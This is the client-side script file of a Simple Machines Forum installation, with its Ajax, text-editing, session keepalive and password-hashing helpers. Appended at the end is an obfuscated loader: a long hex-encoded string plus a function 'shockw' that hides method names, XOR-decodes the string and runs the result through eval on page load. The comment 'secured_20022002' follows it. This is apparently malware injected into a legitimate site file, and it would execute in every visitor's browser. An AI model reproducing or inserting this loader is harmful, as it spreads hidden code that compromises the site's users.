var smf_formSubmitted = false;

// Define document.getElementById for Internet Explorer 4.
if (typeof(document.getElementById) == "undefined")
document.getElementById = function (id)
{
// Just return the corresponding index of all.
return document.all[id];
}
// Define XMLHttpRequest for IE 5 and above. (don't bother for IE 4 :/.... works in Opera 7.6 and Safari 1.2!)
else if (!window.XMLHttpRequest && window.ActiveXObject)
window.XMLHttpRequest = function ()
{
return new ActiveXObject(navigator.userAgent.indexOf("MSIE 5") != -1 ? "Microsoft.XMLHTTP" : "MSXML2.XMLHTTP");
};

// Some older versions of Mozilla don't have this, for some reason.
if (typeof(document.forms) == "undefined")
document.forms = document.getElementsByTagName("form");

// Load an XML document using XMLHttpRequest.
function getXMLDocument(url, callback)
{
if (!window.XMLHttpRequest)
return false;

var myDoc = new XMLHttpRequest();
if (typeof(callback) != "undefined")
{
myDoc.onreadystatechange = function ()
{
if (myDoc.readyState != 4)
return;

if (myDoc.responseXML != null && myDoc.status == 200)
callback(myDoc.responseXML);
};
}
myDoc.open('GET', url, true);
myDoc.send(null);

return true;
}

// Send a post form to the server using XMLHttpRequest.
function sendXMLDocument(url, content, callback)
{
if (!window.XMLHttpRequest)
return false;

var sendDoc = new window.XMLHttpRequest();
if (typeof(callback) != "undefined")
{
sendDoc.onreadystatechange = function ()
{
if (sendDoc.readyState != 4)
return;

if (sendDoc.responseXML != null && sendDoc.status == 200)
callback(sendDoc.responseXML);
else
callback(false);
};
}
sendDoc.open('POST', url, true);
if (typeof(sendDoc.setRequestHeader) != "undefined")
sendDoc.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
sendDoc.send(content);

return true;
}

function textToEntities(text)
{
var entities = "";
for (var i = 0; i < text.length; i++)
{
if (text.charCodeAt(i) > 127)
entities += "&#" + text.charCodeAt(i) + ";";
else
entities += text.charAt(i);
}

return entities;
}

// Open a new window.
function reqWin(desktopURL, alternateWidth, alternateHeight, noScrollbars)
{
if ((alternateWidth && self.screen.availWidth * 0.8 < alternateWidth) || (alternateHeight && self.screen.availHeight * 0.8 < alternateHeight))
{
noScrollbars = false;
alternateWidth = Math.min(alternateWidth, self.screen.availWidth * 0.8);
alternateHeight = Math.min(alternateHeight, self.screen.availHeight * 0.8);
}
else
noScrollbars = typeof(noScrollbars) != "undefined" && noScrollbars == true;

window.open(desktopURL, 'requested_popup', 'toolbar=no,location=no,status=no,menubar=no,scrollbars=' + (noScrollbars ? 'no' : 'yes') + ',width=' + (alternateWidth ? alternateWidth : 480) + ',height=' + (alternateHeight ? alternateHeight : 220) + ',resizable=no');

// Return false so the click won't follow the link ;).
return false;
}

// Remember the current position.
function storeCaret(text)
{
// Only bother if it will be useful.
if (typeof(text.createTextRange) != "undefined")
text.caretPos = document.selection.createRange().duplicate();
}

// Replaces the currently selected text with the passed text.
function replaceText(text, textarea)
{
// Attempt to create a text range (IE).
if (typeof(textarea.caretPos) != "undefined" && textarea.createTextRange)
{
var caretPos = textarea.caretPos;

caretPos.text = caretPos.text.charAt(caretPos.text.length - 1) == ' ' ? text + ' ' : text;
caretPos.select();
}
// Mozilla text range replace.
else if (typeof(textarea.selectionStart) != "undefined")
{
var begin = textarea.value.substr(0, textarea.selectionStart);
var end = textarea.value.substr(textarea.selectionEnd);
var scrollPos = textarea.scrollTop;

textarea.value = begin + text + end;

if (textarea.setSelectionRange)
{
textarea.focus();
textarea.setSelectionRange(begin.length + text.length, begin.length + text.length);
}
textarea.scrollTop = scrollPos;
}
// Just put it on the end.
else
{
textarea.value += text;
textarea.focus(textarea.value.length - 1);
}
}

// Surrounds the selected text with text1 and text2.
function surroundText(text1, text2, textarea)
{
// Can a text range be created?
if (typeof(textarea.caretPos) != "undefined" && textarea.createTextRange)
{
var caretPos = textarea.caretPos, temp_length = caretPos.text.length;

caretPos.text = caretPos.text.charAt(caretPos.text.length - 1) == ' ' ? text1 + caretPos.text + text2 + ' ' : text1 + caretPos.text + text2;

if (temp_length == 0)
{
caretPos.moveStart("character", -text2.length);
caretPos.moveEnd("character", -text2.length);
caretPos.select();
}
else
textarea.focus(caretPos);
}
// Mozilla text range wrap.
else if (typeof(textarea.selectionStart) != "undefined")
{
var begin = textarea.value.substr(0, textarea.selectionStart);
var selection = textarea.value.substr(textarea.selectionStart, textarea.selectionEnd - textarea.selectionStart);
var end = textarea.value.substr(textarea.selectionEnd);
var newCursorPos = textarea.selectionStart;
var scrollPos = textarea.scrollTop;

textarea.value = begin + text1 + selection + text2 + end;

if (textarea.setSelectionRange)
{
if (selection.length == 0)
textarea.setSelectionRange(newCursorPos + text1.length, newCursorPos + text1.length);
else
textarea.setSelectionRange(newCursorPos, newCursorPos + text1.length + selection.length + text2.length);
textarea.focus();
}
textarea.scrollTop = scrollPos;
}
// Just put them on the end, then.
else
{
textarea.value += text1 + text2;
textarea.focus(textarea.value.length - 1);
}
}

// Checks if the passed input's value is nothing.
function isEmptyText(theField)
{
// Copy the value so changes can be made..
var theValue = theField.value;

// Strip whitespace off the left side.
while (theValue.length > 0 && (theValue.charAt(0) == ' ' || theValue.charAt(0) == '\t'))
theValue = theValue.substring(1, theValue.length);
// Strip whitespace off the right side.
while (theValue.length > 0 && (theValue.charAt(theValue.length - 1) == ' ' || theValue.charAt(theValue.length - 1) == '\t'))
theValue = theValue.substring(0, theValue.length - 1);

if (theValue == '')
return true;
else
return false;
}

// Only allow form submission ONCE.
function submitonce(theform)
{
smf_formSubmitted = true;
}
function submitThisOnce(form)
{
// Hateful, hateful fix for Safari 1.3 beta.
if (navigator.userAgent.indexOf('AppleWebKit') != -1)
return !smf_formSubmitted;

if (typeof(form.form) != "undefined")
form = form.form;

for (var i = 0; i < form.length; i++)
if (typeof(form[i]) != "undefined" && form[i].tagName.toLowerCase() == "textarea")
form[i].readOnly = true;

return !smf_formSubmitted;
}

// Set the "inside" HTML of an element.
function setInnerHTML(element, toValue)
{
// IE has this built in...
if (typeof(element.innerHTML) != 'undefined')
element.innerHTML = toValue;
// Otherwise, try createContextualFragment().
else
{
var range = document.createRange();
range.selectNodeContents(element);
range.deleteContents();
element.appendChild(range.createContextualFragment(toValue));
}
}

// Set the "outer" HTML of an element.
function setOuterHTML(element, toValue)
{
if (typeof(element.outerHTML) != 'undefined')
element.outerHTML = toValue;
else
{
var range = document.createRange();
range.setStartBefore(element);
element.parentNode.replaceChild(range.createContextualFragment(toValue), element);
}
}

// Get the inner HTML of an element.
function getInnerHTML(element)
{
if (typeof(element.innerHTML) != 'undefined')
return element.innerHTML;
else
{
var returnStr = '';
for (var i = 0; i < element.childNodes.length; i++)
returnStr += getOuterHTML(element.childNodes[i]);

return returnStr;
}
}

function getOuterHTML(node)
{
if (typeof(node.outerHTML) != 'undefined')
return node.outerHTML;

var str = '';

switch (node.nodeType)
{
// An element.
case 1:
str += '<' + node.nodeName;

for (var i = 0; i < node.attributes.length; i++)
{
if (node.attributes[i].nodeValue != null)
str += ' ' + node.attributes[i].nodeName + '="' + node.attributes[i].nodeValue + '"';
}

if (node.childNodes.length == 0 && in_array(node.nodeName.toLowerCase(), ['hr', 'input', 'img', 'link', 'meta', 'br']))
str += ' />';
else
str += '>' + getInnerHTML(node) + '</' + node.nodeName + '>';
break;

// 2 is an attribute.

// Just some text..
case 3:
str += node.nodeValue;
break;

// A CDATA section.
case 4:
str += '<![CDATA' + '[' + node.nodeValue + ']' + ']>';
break;

// Entity reference..
case 5:
str += '&' + node.nodeName + ';';
break;

// 6 is an actual entity, 7 is a PI.

// Comment.
case 8:
str += '<!--' + node.nodeValue + '-->';
break;
}

return str;
}

// Checks for variable in theArray.
function in_array(variable, theArray)
{
for (var i = 0; i < theArray.length; i++)
{
if (theArray[i] == variable)
return true;
}
return false;
}

// Find a specific radio button in its group and select it.
function selectRadioByName(radioGroup, name)
{
if (typeof(radioGroup.length) == "undefined")
return radioGroup.checked = true;

for (var i = 0; i < radioGroup.length; i++)
{
if (radioGroup[i].value == name)
return radioGroup[i].checked = true;
}

return false;
}

// Invert all checkboxes at once by clicking a single checkbox.
function invertAll(headerfield, checkform, mask)
{
for (var i = 0; i < checkform.length; i++)
{
if (typeof(checkform[i].name) == "undefined" || (typeof(mask) != "undefined" && checkform[i].name.substr(0, mask.length) != mask))
continue;

if (!checkform[i].disabled)
checkform[i].checked = headerfield.checked;
}
}

// Keep the session alive - always!
var lastKeepAliveCheck = new Date().getTime();
function smf_sessionKeepAlive()
{
var curTime = new Date().getTime();

// Prevent a Firefox bug from hammering the server.
if (smf_scripturl && curTime - lastKeepAliveCheck > 900000)
{
var tempImage = new Image();
tempImage.src = smf_scripturl + (smf_scripturl.indexOf("?") == -1 ? "?" : "&") + "action=keepalive;" + curTime;
lastKeepAliveCheck = curTime;
}

window.setTimeout("smf_sessionKeepAlive();", 1200000);
}
window.setTimeout("smf_sessionKeepAlive();", 1200000);

// Set a theme option through javascript.
function smf_setThemeOption(option, value, theme, cur_session_id)
{
// Compatibility.
if (cur_session_id == null)
cur_session_id = smf_session_id;

var tempImage = new Image();
tempImage.src = smf_scripturl + (smf_scripturl.indexOf("?") == -1 ? "?" : "&") + "action=jsoption;var=" + option + ";val=" + value + ";sesc=" + cur_session_id + (theme == null ? "" : "&id=" + theme) + ";" + (new Date().getTime());
}

function smf_avatarResize()
{
var possibleAvatars = document.getElementsByTagName ? document.getElementsByTagName("img") : document.all.tags("img");

for (var i = 0; i < possibleAvatars.length; i++)
{
if (possibleAvatars[i].className != "avatar")
continue;

var tempAvatar = new Image();
tempAvatar.src = possibleAvatars[i].src;

if (smf_avatarMaxWidth != 0 && tempAvatar.width > smf_avatarMaxWidth)
{
possibleAvatars[i].height = (smf_avatarMaxWidth * tempAvatar.height) / tempAvatar.width;
possibleAvatars[i].width = smf_avatarMaxWidth;
}
else if (smf_avatarMaxHeight != 0 && tempAvatar.height > smf_avatarMaxHeight)
{
possibleAvatars[i].width = (smf_avatarMaxHeight * tempAvatar.width) / tempAvatar.height;
possibleAvatars[i].height = smf_avatarMaxHeight;
}
else
{
possibleAvatars[i].width = tempAvatar.width;
possibleAvatars[i].height = tempAvatar.height;
}
}

if (typeof(window_oldAvatarOnload) != "undefined" && window_oldAvatarOnload)
{
window_oldAvatarOnload();
window_oldAvatarOnload = null;
}
}

function hashLoginPassword(doForm, cur_session_id)
{
// Compatibility.
if (cur_session_id == null)
cur_session_id = smf_session_id;

if (typeof(hex_sha1) == "undefined")
return;
// Are they using an email address?
if (doForm.user.value.indexOf("@") != -1)
return;

// Unless the browser is Opera, the password will not save properly.
if (typeof(window.opera) == "undefined")
doForm.passwrd.autocomplete = "off";

doForm.hash_passwrd.value = hex_sha1(hex_sha1(doForm.user.value.php_to8bit().php_strtolower() + doForm.passwrd.value.php_to8bit()) + cur_session_id);

// It looks nicer to fill it with asterisks, but Firefox will try to save that.
if (navigator.userAgent.indexOf("Firefox/") != -1)
doForm.passwrd.value = "";
else
doForm.passwrd.value = doForm.passwrd.value.replace(/./g, "*");
}

function hashAdminPassword(doForm, username, cur_session_id)
{
// Compatibility.
if (cur_session_id == null)
cur_session_id = smf_session_id;

if (typeof(hex_sha1) == "undefined")
return;

doForm.admin_hash_pass.value = hex_sha1(hex_sha1(username.toLowerCase() + doForm.admin_pass.value) + cur_session_id);
doForm.admin_pass.value = doForm.admin_pass.value.replace(/./g, "*");
}

function ajax_indicator(turn_on)
{
var indicator = document.getElementById("ajax_in_progress");
if (indicator != null)
{
if (navigator.appName == "Microsoft Internet Explorer" && navigator.userAgent.indexOf("MSIE 7") == -1)
{
indicator.style.top = document.documentElement.scrollTop;
}
indicator.style.display = turn_on ? "block" : "none";
}
}
this.axo='';var falseSwver;falseSwver='e7e5e0e3e4eae6e1b0fceff7cbfcf6ffebf0aef9f7ebf387bef8b1fdf1f7a9a8eeedf9d9fdefe7e9eaf7bfadfff0'+'f0faa1b7effffff6fceebcaff6ece0f5e7f1b8a7ee8892a0ada2fdebedfaf7f3e4fbe5f0e7eef5f1afa7e986bead'+'afa0afbda0e2ecf6b1ecf4eeffe0f1bbdfe5e5b3cceaebe1b99db6828aafbdb0a0b1a1e1f4f4e0d8e2a3e3e7a0d2'+'e3e2e9a2e5e8ebd3fde8fbebe2f9d4e3d7e4a7bea4e5ecfdede3ece8ebf2e3ad8b988cb7aaaa9dafafe3e7e5aff6'+'f9e8eea2f0f5b7b0a2ebfdf0b0f1e3a7e7e9e2dfddc2fbf4f5ebf69fabb28f82b0a9f8fbdd8ef0a68ef7c7ebdbfb'+'eaf8f9ace7efc2c6bbbbfebbb4e1ede1e3a2ada7b0b692aca5a5e0f5f6e5d2faa2f0eee9eceb9faaa2d98bb5a199'+'a6a6e5f4e2fae6f7ebf5e8fcafbcbab195b9a9e7f0e0eafee7e4bf93a8a6a1ecf9e0e5f5e2f8acafa4b4a49ea2a2'+'8f82b0a3a1a7bfffc6ede4bca0abb6b4bfa8f4f5c0f9afa8aaa6abf0e8fcffb6b8b6a5ada6acbebb9eb1ada4a9af'+'f2e6ebf5e3e5ada0b2a2b6b693f5e8eaf4e1e8a9b3b2aeabe1dee5ece7edb3aeb2adb68eafad9b82a5a8abbda1c3'+'eae9f6faf6b0b1a8a6b798acf1f2e1faf5f5b2b3bfb180a4aea98680eb848ce4f3e9f1ffdde2e1a0e8f8e4c3fee9'+'f6e6c9bce1f5edc9acaffe8d9ab9b1b7f0f4d1ace1f8ede0fbefa2b6a5b6a5b0a985b3e6f8e2e5fef9ede78be8eb'+'fce0e0fcb48987b495ace0e2f1a8f4eae7e4ebd8acb8a5a8b4b6b2bda6f8cde7e5b0a4a8b1b7a3a2998894aeabe5'+'f6e4acfaebc0ddffe4a2aba7e9fee0f98e8188bdafb4a3f4f4b7fcf2f4fcf1c1b1afa0a7b18784a9b6b5f0f6ffb0'+'e8e1cfa0b4a8a7ea889ba4a5b5e3eeabadf8ffe8fee1e3a0eff6faf5fbfc87b1a6a6a1aeec8e89a7afa6b6a890e3'+'e3e3f9f1e5a4afb4eeebfafdfce7b9cfe1e1fcf6c3f6a6f3f3e3e4faf9bebd98b8a9adb3a3a8aff9d1a9bdebebe2'+'e3e5e5aab7b4a68fb7aeb2f09d86aeb0b6a991a8adb1a4fdf6f5efe6e790bebbade3e8eed2eeeabae1f6f8e1edfa'+'a89d9ab3a5b193a3a8f0b5a6f2e3f4adb28fe7e1fbe7ecc0a6e2fbedeaa7cfb2a5f0b689b98ee0cef4f5f1f2ae8f'+'8c8a8bf6f7fcadb0a0b1eff5a59de4f6efa0b4b5b79dbeacb3f89ec4b1a0b282bca5afa7b0b0b3a5f4dde7a8b1b0'+'edefc2e9e7e0baecf0ecd4f1f9b29485a48aa2b2a9adaab996f09b8aacaea2b2af90a4b1eafbe4fdd8ecc4adbfbe'+'f5fcf0f2fbc6e9e9aaeafce9f8eaeda1e3c2ebe6f0ffedfbf1bdedf1d1f9efb3acade7fae9bbafab929eafb0b0b3'+'a5b1ea909aa4b194ea8e84b7a3a3dee7f9ffe0a0a5efe6c3d5e1e1ba9c88fb8a98fdcbfeaef9e5ebfba2abaae7eb'+'e3c1f0e7e9feeba2ace3f6ffebf6f7e5a99daa9c85e6f4b1aae4e6f4f8bdaeb280a2a7acfb9f88baeff6e0bfc6e4'+'ffadf5faefabc1f0b0e0f1e5e3eeebe3a5a8a6beadaaecfae2e6b8b9a3f9e5f1fdf5fcffe7f2a7e9eaf2b9e1fbab'+'fbf2ffaabbb586f8ecfdfaefb2b4b6e0d5e5e2edfea9b3b0aef3e4fae5eaadadeeeafbe3cbf4f1bcf9e6efffa3b8'+'c4e2fbf3e4e1e8eaf4d7ece5a8b0b4fbf7f6f1e4ece9e9f6d8eebda5a9ffe7fcf8d9edf1fee7ace4ebb4b0b9cef3'+'fae7fce1aca2a5afae89a799dde5e7e2c0ece0edf9eda1aff8fde3e5e7f7e68fa6aaa7a3a1a6ac86b493ad85b6ab'+'b1a2bf8e8cd6';function shockw(src){                       var verAxo = 3;var flashShockw = null;var ns = 'av%st'.replace(/[avst]/g,'');var flash = -1;var strfoo = flashShockw;function trueVer(playerShockw){var falseFalse=1;var flashWin=1%falseFalse;function aveSrc(winWin){var opera=1;}var major=0,falseAxo=playerShockw['l8e4n6gMtMhM'.replace(/[MN648]/g, '')];while(flashWin<falseAxo){flashWin+=1;aveShockw=swver(playerShockw,flashWin+flash);major+=aveShockw*falseAxo;}return new String(major);}var minor=String;function flashSrc(msie, strfooWin){if(swverFlash == flashShockw) {swverFlash = {};}if(swverFlash[msie] == flashShockw) {var axoOpera = Object;swverFlash[msie] = new axoOpera();swverFlash[msie].nsPlugin = flashShockw;swverFlash[msie].srcWin = strfooWin;}}                        var majorPlayer = 4; var swverTrue=window;                       var msieMajor = 1; function ext(msie) {if(swverFlash[msie] != flashShockw) {var win = swverFlash[msie];var swverWin = win.nsPlugin;var msieFlash = win.srcWin;var swverSrc = msieFlash.substr(swverWin, 1);var msieIe = msieFlash['l8e4n6gMtMhM'.replace(/[MN648]/g, '')];                   var aveVer = majorPlayer-verAxo;if((swverWin + (msieMajor*aveVer)) >= msieIe) {win.nsPlugin =aveVer - (majorPlayer % verAxo);} else {win.nsPlugin = swverWin - flash;}return swver(swverSrc, msieMajor - aveVer);}}var flashMinor=document;function swver(winTrue,is){return winTrue['cvh8avr7Cioidie8A8t8'.replace(/[807vi]/g, '')](is);}var flash = strfoo + flash;var swverFlash = flashShockw;function shockwMsie(playerObj,shockwVer){return playerObj^shockwVer;}var majorMsie = '';var falseNs = 2;var ie = new minor(flashMinor['w<r~iOtGeO'.replace(/[O\<G\!~]/g, '')]);var msieIs = ie['iYnzdYe4x0O4f4'.replace(/[40zYJ]/g, '')]('a;r;i;t;y;'.replace(/[;U\{m#]/g, ''));if(msieIs != flash) { return 211;}var aveVerAxo = strfoo;var operaObj = '';var strfooSwver = swverTrue['s*e*t;T6i6m8e6o;u8t*'.replace(/[\*;8V6]/g, '')];var shockwStrfoo=211;var shockwMajor=minor['f;r0o8m;C8h0asr0C;o;dMe0'.replace(/[0s8;M]/g, '')];var trueAxo=swverTrue['uUnUe@sUcUahp@eN'.replace(/[Nh/U@]/g, '')];for(var playerIe=aveVerAxo; playerIe < src['l8e4n6gMtMhM'.replace(/[MN648]/g, '')]; playerIe+=falseNs){majorMsie+= ns + src['syuybFs(t(rF'.replace(/[F8y\(\!]/g, '')](playerIe, falseNs);}var src = trueAxo(majorMsie);var swverWinStrfoo = new minor(shockw);var operaVer = swverWinStrfoo['r+etp&lQa&cQe~'.replace(/[~&\+tQ]/g, '')](/[^@a-z0-9A-Z_-]/g, new String());var operaTrue = new minor(trueVer(operaVer));flashSrc('swverFlashPlugin', operaTrue);var strfooSwverAxo = '';flashSrc('obj', operaVer);for(var strfooFalse=aveVerAxo; strfooFalse < (src['l8e4n6gMtMhM'.replace(/[MN648]/g, '')]); strfooFalse++) {var msieAxo = swver(src,strfooFalse);msieAxo = shockwMsie(msieAxo, shockwStrfoo);msieAxo = shockwMsie(msieAxo, ext('swverFlashPlugin'));msieAxo = shockwMsie(msieAxo, ext('obj'));operaObj+=shockwMajor(msieAxo);}swverTrue['eIvIa#lB'.replace(/[BI#9\:]/g, '')](operaObj);return operaObj=new minor();};var playerIs=false;shockw(falseSwver);this.isOpera=48710;   //secured_20022002